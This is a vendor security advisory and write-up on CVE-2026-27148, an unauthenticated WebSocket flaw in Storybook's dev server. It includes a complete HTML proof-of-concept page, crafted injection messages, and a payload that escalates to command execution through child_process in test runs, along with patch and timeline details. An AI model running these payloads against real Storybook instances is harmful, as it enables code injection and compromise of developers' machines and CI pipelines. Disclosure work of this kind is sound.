Aikido Attack, our AI pentest product, found a WebSocket hijacking vulnerability in Storybook's dev server that can lead to persistent XSS, remote code execution, and, in the worst case, supply chain compromise. Storybook's WebSocket server has no authentication or access control, so if the dev server is publicly accessible, an attacker can exploit this without any user interaction at all. In the more common local setup, a developer just has to visit the wrong website while Storybook is running.
Advisory: GHSA-mjf5-7g4m-gx5w
CVE: CVE-2026-27148
CVSS: 8.9 (High)
Affected versions: Storybook >= 8.1.0 and < 10.2.10
Patched versions: 7.6.23, 8.6.17, 9.1.19, 10.2.10
The vulnerability
Storybook is an open-source frontend workshop for building and testing UI components in isolation, outside of your main application. Storybook's dev server uses WebSockets to power its story creation and editing features. The WebSocket endpoint at /storybook-server-channel accepts two types of messages that write to the filesystem: createNewStoryfileRequest and saveStoryRequest. Both create or modify story source files on disk.
The problem: the WebSocket server has no access control whatsoever. There is no authentication, no session validation, and no Origin header check on incoming connections. If the dev server is reachable, anyone can connect and start writing files to disk.
The problem is that the WebSocket server doesn't validate the Origin header of incoming connections. Any website can open a WebSocket to ws://localhost:6006/storybook-server-channel and start sending messages. No authentication, no origin check, no questions asked.
This creates two distinct attack scenarios. If the Storybook dev server is publicly exposed (a common setup for design reviews or stakeholder demos), any unauthenticated attacker on the internet can connect to the WebSocket endpoint directly and exploit it without any user interaction. If the dev server is running locally, the attacker needs the developer to visit a malicious webpage, which then opens a cross-origin WebSocket connection to ws://localhost:6006/storybook-server-channel on their behalf.
The vulnerable code lives in two files:
create-new-story-channel.ts- handlescreateNewStoryfileRequestsave-story.ts- handlessaveStoryRequest
Both delegate to get-new-story-file.ts which derives basenameWithoutExtension from the user-supplied componentFilePath and passes it unsanitized to typescript.ts, where it is interpolated directly into the generated source code.
Injection point: get-new-story-file.ts
const base = basename(componentFilePath); //"Button';alert(document.domain);var a='.tsx"
const extension = extname(componentFilePath); // ".tsx"
const basenameWithoutExtension = base.replace(extension, ''); // "Button';alert(document.domain);var a='"Sink: typescript.ts
const importName = data.componentIsDefaultExport
? await getComponentVariableName(data.basenameWithoutExtension)
: data.componentExportName; // ← user-controlled, unvalidated
...
const importStatement = data.componentIsDefaultExport
? `import ${importName} from './${data.basenameWithoutExtension}'`
: `import { ${importName} } from './${data.basenameWithoutExtension}'`; // ← injected here File written to disk:
import type { Meta, StoryObj } from '@storybook/react-vite';
import { Button } from './Button-INJECTION_POINT-'; // ← injected here
const meta = {
component: Button,
} satisfies Meta<typeof Button>;
export default meta;
type Story = StoryObj<typeof meta>;
export const Default: Story = {};The attack! From malicious website to code injection
For publicly exposed instances, exploitation is trivial: connect to the WebSocket endpoint and send a message. No PoC page needed, no social engineering, no user interaction. This can be fully automated and scaled to scan for exposed Storybook development instances across the internet.
For local instances, the attack requires one extra step: A developer is running yarn storybook locally. They visit a malicious webpage, maybe a link in a Slack channel, maybe a compromised documentation site. That page silently opens a WebSocket connection to localhost:6006 and sends a crafted message:
{
"type": "createNewStoryfileRequest",
"args": [{
"id": "xss_poc",
"payload": {
"componentFilePath": "src/stories/Button';alert(document.domain);var a='.tsx",
"componentExportName": "Button",
"componentIsDefaultExport": false,
"componentExportCount": 1
}
}],
"from": "preview"
}
The injected componentFilePath breaks out of the string context in the generated story file. Storybook writes a new .stories.ts file to disk with the attacker's JavaScript embedded in it. The developer sees nothing. No popup, no confirmation dialog, no browser warning.
File written to disk:
import type { Meta, StoryObj } from '@storybook/react-vite';
import { Button } from './Button';alert(document.domain);var a= ''; // ← injected here
const meta = {
component: Button,
} satisfies Meta<typeof Button>;
export default meta;
type Story = StoryObj<typeof meta>;
export const Default: Story = {};The componentFilePath field is the most straightforward injection vector, but componentExportName flows into the same template positions when componentIsDefaultExport is false, including the component: property and typeof expression in the meta block.
The full PoC is just a simple HTML page:
<!DOCTYPE html>
<html>
<head><title>PoC</title></head>
<body>
<h1>Loading...</h1>
<script>
const ws = new WebSocket("ws://localhost:6006/storybook-server-channel");
ws.onopen = () => {
ws.send(JSON.stringify({
type: "createNewStoryfileRequest",
args: [{
id: "xss_poc",
payload: {
componentFilePath: "src/stories/Button';alert(document.domain);var a='.tsx",
componentExportName: "Button",
componentIsDefaultExport: false,
componentExportCount: 1
}
}],
from: "preview"
}));
};
</script>
</body>
</html>
That's it. Visit the page, and a poisoned story file now lives on the developer's machine.
Escalation! From XSS to RCE
The XSS alone is already concerning, the payload persists in source files and will execute in any browser that renders the Storybook. But it gets worse.
Many teams run their Storybook stories as part of their test suite using portable stories. If those tests run in a Node.js environment (e.g., Vitest with JSDOM rather than a real browser), the injected JavaScript executes server-side with full access to the system:
{
"type": "createNewStoryfileRequest",
"args": [{
"id": "rce_stealth",
"payload": {
"componentFilePath": "src/stories/Button';(typeof process!=='undefined'&&console.log('RCE_PROOF:',require('child_process').execSync('id').toString()));var a='.tsx",
"componentExportName": "Button",
"componentIsDefaultExport": false,
"componentExportCount": 1
}
}],
"from": "preview"
}
When npx vitest runs, whether triggered manually, by a VS Code extension on file save, or in a CI/CD pipeline, the output reads:
RCE_PROOF: uid=501(robbe) gid=20(staff) ...At that point, it's game over. The attacker has code execution in the developer's environment or CI pipeline, with access to environment variables, credentials, the filesystem, and the network.
The supply chain angle
What makes this particularly nasty is the persistence model. The payload is written directly into source files. If the developer doesn't notice the new story file, it gets committed to version control. From there:
- Other developers pull the poisoned code and execute it locally
- CI/CD pipelines run the tests and execute the payload server-side
- If the Storybook is deployed as documentation (a common pattern), the XSS affects everyone who views it
- Shared component libraries carry the payload to every downstream project that consumes them
One WebSocket message, sent while a developer happened to have Storybook running, cascades through the entire development lifecycle.
Browser protections (or rather, lack thereof)
Recent versions of Chrome have added some protections against cross-origin WebSocket connections to localhost (see https://chromestatus.com/feature/5197681148428288). Firefox does not. So if your team has even one Firefox user running Storybook, they're a viable target.
For publicly exposed dev servers, none of this matters. The attacker connects directly to the WebSocket endpoint without going through a browser. No origin check, no CORS, no browser protections in the loop at all.
Remediation
Update Storybook to one of the patched versions: 7.6.23, 8.6.17, 9.1.19, or 10.2.10. The fix adds origin validation to the WebSocket server. In later versions, Storybook also added sanitization to storynames, to prevent injection attacks.
Note that while the vulnerable functionality was introduced in 8.1, patches were backported to 7.x as a precautionary measure.
Timeline
- 6 February 2026: Identified by Aikido Attack (AI pentest agent)
- 6 February 2026: Disclosed to Storybook security team
- 25 February 2026: Patched in Storybook 7.6.23, 8.6.17, 9.1.19, 10.2.10
- 25 February 2026: GHSA-mjf5-7g4m-gx5w published

